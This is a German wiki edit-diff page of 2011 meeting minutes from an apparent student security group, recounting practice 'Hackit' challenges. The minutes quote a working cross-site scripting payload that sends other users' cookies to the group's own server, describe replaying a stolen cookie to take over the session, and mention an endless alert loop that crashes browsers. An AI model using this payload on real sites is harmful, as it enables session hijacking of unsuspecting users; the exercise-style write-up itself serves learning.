Bearbeiten von „CInsects/Protokolle/CInsects:Treffen-2011-01-11“
Zur Navigation springen
Zur Suche springen
Warnung: Du bist nicht angemeldet. Deine IP-Adresse wird bei Bearbeitungen öffentlich sichtbar. Melde dich an oder erstelle ein Benutzerkonto, damit Bearbeitungen deinem Benutzernamen zugeordnet werden.
Die Bearbeitung kann rückgängig gemacht werden. Bitte prüfe den Vergleich unten, um sicherzustellen, dass du dies tun möchtest, und veröffentliche dann unten deine Änderungen, um die Bearbeitung rückgängig zu machen.
| Aktuelle Version | Dein Text | ||
| Zeile 9: | Zeile 9: | ||
was dazu führt, das auf der ausgebenden Seite eine Meldung mit eingegebenen Text erschien. Kaputmachen konnte man hier also noch nichts, es sei denn den eigenen Rechner. | was dazu führt, das auf der ausgebenden Seite eine Meldung mit eingegebenen Text erschien. Kaputmachen konnte man hier also noch nichts, es sei denn den eigenen Rechner. | ||
Das zweite Hackit war ein wenig interessanter. Hier bestand die Möglichkeit sich mit Name und Kennwort anzumelden und dann über ein Nachrichten System Meldungen an andere | Das zweite Hackit war ein wenig interessanter. Hier bestand die Möglichkeit sich mit Name und Kennwort anzumelden und dann über ein Nachrichten System Meldungen an andere Mitlgieder zu senden. Diese Meldungen konnten natürlich JavaScript beinhalten, sodass wir damit anfangen konnten die Cookies (KEEEKSE!!! omnomnom) anderer Nutzer zu klauen. | ||
<nowiki><script>document.write('<img src="http://cinsects.de/cookie?' +document.cookie+'">');</script></nowiki> | <nowiki><script>document.write('<img src="http://cinsects.de/cookie?' +document.cookie+'">');</script></nowiki> | ||
Mit diesem Script konnten wir den Cookie desjenigen auslesen, der die Nachricht bekommen hat und haben diesen in eine nicht existierende Datei auf einem Server für den wir Rechte haben geschickt. In der Fehlerkonsole dieses Servers wurde der | Mit diesem Script konnten wir den Cookie desjenigen auslesen, der die Nachricht bekommen hat und haben diesen in eine nicht existierende Datei auf einem Server für den wir Rechte haben geschickt. In der Fehlerkonsole dieses Servers wurde der Coockie nun angezeigt, und musste von uns nur noch als eigener Cookie in FF eingelesen werden. | ||
Natürlich war auch viel nasty shit möglich, wie aufpoppende Meldungen in einer while Schleife mit 1=1 als Bedingung, sodass der Brwoser neu gestartet werden musste | Natürlich war auch viel nasty shit möglich, wie aufpoppende Meldungen in einer while Schleife mit 1=1 als Bedingung, sodass der Brwoser neu gestartet werden musste. | ||
== Statistik == | == Statistik == | ||
| Zeile 22: | Zeile 20: | ||
L33tness-Faktor der Kekse: 100% | L33tness-Faktor der Kekse: 100% | ||
== Themen für das nächste mal == | == Themen für das nächste mal == | ||
FIXME und daran zu denken, jemanden zu bestimmen, der Kekse mitbringt. | FIXME | ||
und daran zu denken, jemanden zu bestimmen, der Kekse mitbringt. | |||